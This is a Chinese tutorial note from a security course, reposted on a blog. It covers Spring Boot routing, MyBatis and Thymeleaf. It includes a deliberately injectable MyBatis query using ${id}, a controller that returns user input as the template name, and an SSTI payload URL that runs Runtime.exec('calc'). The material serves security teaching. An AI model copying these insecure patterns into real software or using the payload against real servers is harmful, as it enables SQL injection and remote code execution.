Day38:安全开发-JavaEE应用SpringBoot框架MyBatis注入Thymeleaf模版注入

目录

SpringBoot-Web应用-路由响应

SpringBoot-数据库应用-Mybatis

SpringBoot-模版引擎-Thymeleaf

思维导图


Java知识点

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatisSpringMVCSpringBootShiroLog4jFastJson

技术:ServletListenFilterInterceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

SpringBoot-Web应用-路由响应

Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效。

参考:https://springdoc.cn/spring-boot/

1、路由映射:

  • @RequestMapping, @GetMapping, 和 @PostMapping 注解用于定义HTTP请求的映射路径。
  • @RequestMapping 是通用注解,而 @GetMapping 和 @PostMapping 是其简化形式,分别用于处理GET和POST请求。

2、参数传递:

  • @RequestParam 注解用于从HTTP请求中提取参数,使得控制器方法可以访问并使用这些参数。

3、数据响应:

  • @RestController 注解用于标识一个类是RESTful风格的控制器,它包含了 @ResponseBody 和 @Controller 的功能。
  • @ResponseBody 表示方法的返回值将直接作为HTTP响应体返回给客户端。
  • @Controller 通常用于标识传统的MVC控制器,而 @RestController 更适用于RESTful风格的控制器。

创建SpringDemo项目
修改服务器URL:https://start.aliyun.com(速度更快版本更稳定)
选择Spring Web
创建cn.wusuowei.springdemo.controller.IndexController

项目目录如下:

package cn.wusuowei.springdemo.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;@RestController
public class IndexController {// 指定GET请求的访问路由@RequestMapping(value = "/xiaodiget", method = RequestMethod.GET)//@GetMapping(value = "/xiaodiget")public String getindex() {return "get test";}// 指定POST请求的访问路由@RequestMapping(value = "/xiaodipost", method = RequestMethod.POST)//@PostMapping(value = "/xiaodipost")public String getpost() {return "post test";}// 指定GET请求的访问路由,带参数名name@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.GET)//@GetMapping(value = "/xiaodiget")public String get_g(@RequestParam String name) {return "get test" + name;}// 指定POST请求的访问路由,带参数名name@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.POST)//@GetMapping(value = "/xiaodiget_g")public String get_p(@RequestParam String name) {return "post test" + name;}
}

注解说明:

  • @RestController 注解表示这是一个控制器类,专门用于处理RESTful请求,同时它也包含了 @ResponseBody 和 @Controller 的功能。
  • 使用 @RequestMapping 注解指定了类中所有方法的基本路径,即这些方法的映射路径的前缀。

GET请求处理:

  • getindex() 方法用于处理GET请求,映射路径是 “/xiaodiget”。
  • get_g() 方法用于处理GET请求,映射路径是 “/xiaodiget_g”,并且使用 @RequestParam 注解来接收名为 “name” 的参数。

POST请求处理:

  • getpost() 方法用于处理POST请求,映射路径是 “/xiaodipost”。
  • get_p() 方法用于处理POST请求,映射路径同样是 “/xiaodiget_g”,并且同样使用 @RequestParam 注解来接收名为 “name” 的参数。

注解的简化形式:

  • 在注释中也提到了使用 @GetMapping 和 @PostMapping 的简化形式,这两者分别等同于 @RequestMapping 中指定了请求方法的注解。

SpringBoot-数据库应用-Mybatis

在 JAVA 中分析 SQL 注入,采用什么数据库驱动,其使用访问数据库方法不同,所以造成的安全问题也不同。

对小迪上课搜到的三种方式有想了解一下的可以看下面链接
MyBatis 与 JDBC 和 Hibernate 的比较:https://blog.csdn.net/Knight_Key/article/details/131122995

数据库先创建需操作的数据

项目添加 Mybatis & 数据库驱动

  • 若创建项目时选择了 MySQL Driver 和 MyBatis Framework 两个依赖,则项目文件 pom.xml 中会自动添加下面内容
  • 创建项目时若未选择上述两个依赖,则需要手动在 pom.xml 中的 dependencies 标签中添加以下内容
 <dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>com.mysql</groupId><artifactId>mysql-connector-j</artifactId><scope>runtime</scope></dependency>

项目配置数据库连接信息

  • 默认配置信息文件为 src/main/resources/ 目录下的 application.properties,这里手动改为了 application.yml
  • 然后清空文件内容,写入下面代码
spring:datasource:url: jdbc:mysql://localhost:3306/demo01username: rootpassword: 123456driver-class-name: com.mysql.cj.jdbc.Driver

创建 User 类用来操作数据库数据

  • cn.suyou.springbootmybatis.entity.User,在 src/main/java/ 自己创建的组名目录下新建 java 类,输入 entity.User,会自动创建一个 entity 软件包并创建 User.java。
  • set get toString 方法使用下面的快捷键可以一键生成。
  • IDEA 快捷键 alt+insert, 或者右键生成 Getter (),Setter (),toString (),全选然后自动生成即可。
package com.example.springbootmybatils.entity;public class User {private Integer id;private String username;private String password;public Integer getId() {return id;}public void setId(Integer id) {this.id = id;}public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}@Overridepublic String toString() {return "User{" +"id=" + id +", username='" + username + '\'' +", password='" + password + '\'' +'}';}
}

创建 Mapper 动态接口代理类实现

  • 创建 java 类时选择接口
  • cn.suyou.springbootmybatis.mapper.UserMapper,在 src/main/java/ 自己创建的组名目录下新建 java 类,输入 mapper.UserMapper,会自动创建一个 mapper 软件包并创建 UserMapper.java。
  • ${id} 是拼接写法,#{id} 是预编译写法
package com.example.springbootmybatils.mapper;import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;import java.util.List;@Mapper
public interface UserMapper {// ${id} 是拼接写法,#{id} 是预编译写法@Select("select * from admin where id like '%${id}%'")public List<User> findAll(Integer id);@Select("select * from admin where id=1")public List<User> findID();
}

创建 Controller 实现 Web 访问调用

  • cn.suyou.springbootmybatis.controller.GetadminController
  • 这个和前面的那个 web 应用访问一样,就是返回数据为从数据库获取信息
package com.example.springbootmybatils.controller;import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.util.List;@RestController
public class GetadminController {@Autowiredprivate UserMapper UserMapper;@GetMapping("/getadmin")public List<User> getadmindata(@RequestParam Integer id){List<User> all = UserMapper.findAll(id);return all;}@GetMapping("/getid")public List<User> getadminid(){List<User> all = UserMapper.findID();return all;}}

解决8080端口占用问题

netstat -ano | findstr "8080"

taskkill /F /PID 10056

安全危险:mybatis sql语句注入风险

SpringBoot-模版引擎-Thymeleaf

不安全的模版版本
日常开发中:语言切换页面,主题更换等传参导致的 SSTI 注入安全问题
漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

使用模板渲染,必须在resources目录下创建templates存放html文件

遇到问题:路径访问并没有从模板渲染,而是当成字符串显示操作

原因:@RestController包含了 @ResponseBody 和 @Controller 的功能。@ResponseBody index当做字符串显示操作

解决方式:更换为@Controller 没有ResponseBody index当做资源文件去渲染

项目目录如下:

controller/ThyremeafController.java

package cn.xiaodisec.thyremeafdemo.controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;@Controller
public class ThyremeafController {
//    @RequestMapping(value = "/")
//    public String index(Model model) {
//        model.addAttribute("data","hello xiaodi");
//        //@RestController ResponseBody index当做字符串显示操作
//        //Controller 没有ResponseBody index当做资源文件去渲染
//        return "index";
//    }@RequestMapping(value = "/test")public String index() {//@RestController ResponseBody index当做字符串显示操作//Controller 没有ResponseBody index当做资源文件去渲染return "test";}@RequestMapping(value = "/")public String index(@RequestParam String lang) {//@RestController ResponseBody index当做字符串显示操作//Controller 没有ResponseBody index当做资源文件去渲染return lang; //lang=en index-en}}

resources/templates/index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>Title</title>
</head>
<body >
<span th:text="${data}">小迪安全</span>
</body>
</html>

resources/templates/index-en.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title>
</head>
<body></body>
</html>

application.properties

# 应用服务 WEB 访问端口
server.port=8080
# THYMELEAF (ThymeleafAutoConfiguration)
# 开启模板缓存(默认值: true )
spring.thymeleaf.cache=true
# 检查模板是否存在,然后再呈现
spring.thymeleaf.check-template=true
# 检查模板位置是否正确(默认值 :true )
spring.thymeleaf.check-template-location=true
#Content-Type 的值(默认值: text/html )
spring.thymeleaf.content-type=text/html
# 开启 MVC Thymeleaf 视图解析(默认值: true )
spring.thymeleaf.enabled=true
# 模板编码
spring.thymeleaf.encoding=UTF-8
# 要被排除在解析之外的视图名称列表,⽤逗号分隔
spring.thymeleaf.excluded-view-names=
# 要运⽤于模板之上的模板模式。另⻅ StandardTemplate-ModeHandlers( 默认值: HTML5)
spring.thymeleaf.mode=HTML5
# 在构建 URL 时添加到视图名称前的前缀(默认值: classpath:/templates/ )
spring.thymeleaf.prefix=classpath:/templates/
# 在构建 URL 时添加到视图名称后的后缀(默认值: .html )
spring.thymeleaf.suffix=.html

安全问题

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

例如:更换中英文页面模板

启动项目,并输入对应路由访问,指向渲染文件的文件名

注入为:

http://127.0.0.1:8080/?lang=%7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x)

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/277615.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringMVC基础之工作流程

文章目录 SpringMVC 的工作流程1. 总图2. DispatcherServlet3. 必需的配置4. 加载配置文件的两个时机5. 定义控制器6. 创建 JSP 视图 SpringMVC 的工作流程 1. 总图 如上图&#xff0c;Spring MVC 程序的完整执行流程如下&#xff1a; 用户通过浏览器发送请求&#xff0c;请求…

upload-labs通关方式

pass-1 通过弹窗可推断此关卡的语言大概率为js&#xff0c;因此得出两种解决办法 方法一 浏览器禁用js 关闭后就逃出了js的验证就可以正常php文件 上传成功后打开图片链接根据你写的一句话木马执行它&#xff0c;我这里采用phpinfo&#xff08;&#xff09; 方法二 在控制台…

VLC抓取m3u8视频

前言 最近想看一些网络视频&#xff0c;但是很多时候网页上是m3u8推流的&#xff0c;如果在线看&#xff0c;速度又慢&#xff0c;所以就想下载下来&#xff0c;就想到了VLC的推流&#xff0c;转换能力&#xff0c;查阅资料&#xff0c;加上实践&#xff0c;总结心得。 设置中…

详解MySql索引

目录 一 、概念 二、使用场景 三、索引使用 四、索引存在问题 五、命中索引问题 六、索引执行原理 一 、概念 索引是一种特殊的文件&#xff0c;包含着对数据表里所有记录的引用指针。暂时可以理解成C语言的指针,文章后面详解 二、使用场景 数据量较大&#xff0c;且…

【代码随想录】【回溯算法】补day24:组合问题以及组合的优化

回溯算法&#xff1a;递归函数里面嵌套着for循环 给定两个整数 n 和 k&#xff0c;返回 1 … n 中所有可能的 k 个数的组合。 示例: 输入: n 4, k 2 输出: [ [2,4], [3,4], [2,3], [1,2], [1,3], [1,4], ] 包含组合问题和组合问题的剪枝优化 class solution:def combine(se…

<.Net>VisaulStudio2022下用VB.net实现socket与汇川PLC进行通讯案例(Eazy521)

前言 此前&#xff0c;我写过一个VB.net环境下与西门子PLC通讯案例的博文&#xff1a; VisaulStudio2022下用VB.net实现socket与西门子PLC进行通讯案例&#xff08;优化版&#xff09; 最近项目上会用到汇川PLC比较多&#xff0c;正好有个项目有上位机通讯需求&#xff0c;于是…

Notepad++从文件夹查找文本内容

目录 一、背景二、Notepad搜索2.1 测试用例2.2 操作说明 一、背景 在日常的办公、学习或编程中&#xff0c;我们时长会遇到需要在大量文件中搜索特定文本内容的情况&#xff1a; 无论是快速定位某个项目中的代码片段&#xff1b;还是检索文档资料库中的相关信息等。 掌握如何…

2024最新PHP彩虹网盘与外链分享程序,支持所有格式文件的上传

彩虹外链网盘是一款基于PHP的在线存储和分享平台&#xff0c;它允许用户上传各种类型的文件&#xff0c;并提供了生成文件链接、图片链接、音乐和视频链接的功能。同时&#xff0c;它还会自动生成相应的UBB代码和HTML代码&#xff0c;支持文本、图片、音乐和视频的在线预览。这…

ArcGIS分享图层数据的最佳方法

在工作中&#xff0c;经常需要将图层数据分享给其他人。 如下图所示&#xff0c;需要分享的是【CJDCQ】和【GHDLTB】&#xff0c;图层带有符号系统&#xff1a; 一、分享gdb数据库及lyr文件 分享数据自然要找到源数据&#xff1a; 但是&#xff0c;gdb数据是不带符号系统的&a…

pycharm 历史版本下载地址

pycharm 历史版本下载地址 老版本能用就行&#xff0c;不需要搞最新的&#xff0c;当然了&#xff0c;有些小伙伴就是喜欢新的&#xff08;最先吃螃蟹&#xff09; 博主就不搞最新了&#xff0c;哈哈 上菜&#xff1a; https://www.jetbrains.com/pycharm/download/other.html…

数据分析-Pandas的直接用Matplotlib绘图

数据分析-Pandas的直接用Matplotlib绘图 数据分析和处理中&#xff0c;难免会遇到各种数据&#xff0c;那么数据呈现怎样的规律呢&#xff1f;不管金融数据&#xff0c;风控数据&#xff0c;营销数据等等&#xff0c;莫不如此。如何通过图示展示数据的规律&#xff1f; 数据表…

开源导出html表格项目-easyHtml

开源导出html表格项目-easyHtml 背景介绍 背景 项目的由来&#xff0c;在面试的过程中&#xff0c;发现这个需求&#xff08;导出html表格&#xff09;比较常见&#xff0c;同时也引起我的兴趣&#xff0c;所以就有了开源项目easyHtml第一个版本 介绍 功能 支持自定义表格标…

安装Android Studio遇到Unable to access Android SDK add-on list的错误

第一次安装android studio的时候&#xff0c;提示&#xff1a;unable to access Android sdk add-on list 解决办法 这个错误一般是android studoi代理没有设置导致的&#xff0c;需要在setting里面设置&#xff1a; 点击Android Studio - Preferences&#xff0c;在 Appeara…

肝了三天,完成了AIGC工具网站大全,建议收藏再看

说是肝了三天&#xff0c;其实远远不止&#xff0c;前前后后&#xff0c;从资料搜集到最后整理成文&#xff0c;有近一个月了&#xff0c;大家看在整理不易的份上&#xff0c;给点个赞吧&#xff0c;不要光顾着收藏呀&#xff01; 国内网站 AIGC 导航 https://www.aigc.cn 网…

cms垃圾回收

cms垃圾回收 CMS概述CMS收集器整体流程初始标记并发标记重新标记并发清除 CMS卡表什么是卡表(card table)什么是mod-union table CMS概述 CMS(Concurrent Mark Sweep)收集器是Java虚拟机中的一种老年代(old Generation)垃圾收集器&#xff0c;他主要目标是减少垃圾收集时的应用…

【python】集合

前言 简洁整理&#xff0c;无废话 集合概念 含义&#xff1a;跟数学中的基本一样 形式&#xff1a;{1,a,(1,2)} 性质&#xff1a;不重复性&#xff0c;集合中每个元素不会有重复&#xff1b;集合中必须是不可变元素&#xff0c;不能有列表可以有元组 创建&#xff1a;{}或…

Unity的AssetBundle资源运行内存管理的再次深入思考

大家好&#xff0c;我是阿赵。   这篇文章我想写了很久&#xff0c;是关于Unity项目使用AssetBundle加载资源时的内存管理的。这篇文章不会分享代码&#xff0c;只是分享思路&#xff0c;思路不一定正确&#xff0c;欢迎讨论。   对于Unity引擎的资源内存管理&#xff0c;我…

数据可视化-ECharts Html项目实战(2)

在之前的文章中&#xff0c;我们学习了如何创建简单的折线图&#xff0c;条形图&#xff0c;柱形图并实现动态触发&#xff0c;最大最小平均值。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下…

物联网终端telegraf采集设备信息

背景 低功耗设备上资源有限&#xff0c;但又比较重要。对其的管理难度很大&#xff0c;有些时候又必须时刻了解其运行状况。我们自然想到的是能否有办法监控它呢&#xff1f;当时是有的&#xff01;而且很成熟的解决方案。TICK技术栈&#xff0c;那TICK是什么呢&#xff1f; TI…

OpenCV4.9.0开源计算机视觉库在 Linux 中安装

返回目录&#xff1a;OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇&#xff1a;OpenCV 环境变量参考 下一篇&#xff1a;将OpenCV与gcc和CMake结合使用 引言&#xff1a; OpenCV是一个开源的计算机视觉库&#xff0c;由英特尔公司所赞助。它是一个跨…